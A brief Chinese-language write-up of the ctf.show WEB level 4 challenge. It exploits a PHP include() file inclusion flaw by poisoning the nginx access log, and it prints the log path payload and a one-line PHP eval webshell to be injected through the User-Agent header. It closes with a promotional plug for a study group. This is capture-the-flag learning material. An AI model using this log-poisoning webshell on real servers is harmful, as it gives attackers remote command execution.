ctf.show WEB模块第4关是一个文件包含漏洞,页面提示了源码中的关键代码,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;
然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell
页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
?url=/var/log/nginx/access.log
使用代理工具(Burp Suite)抓包,在User-Agent中插入一句话木马
<?php eval($_POST['-7'])?>
很明显,日志文件的内容多了一条访问记录,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!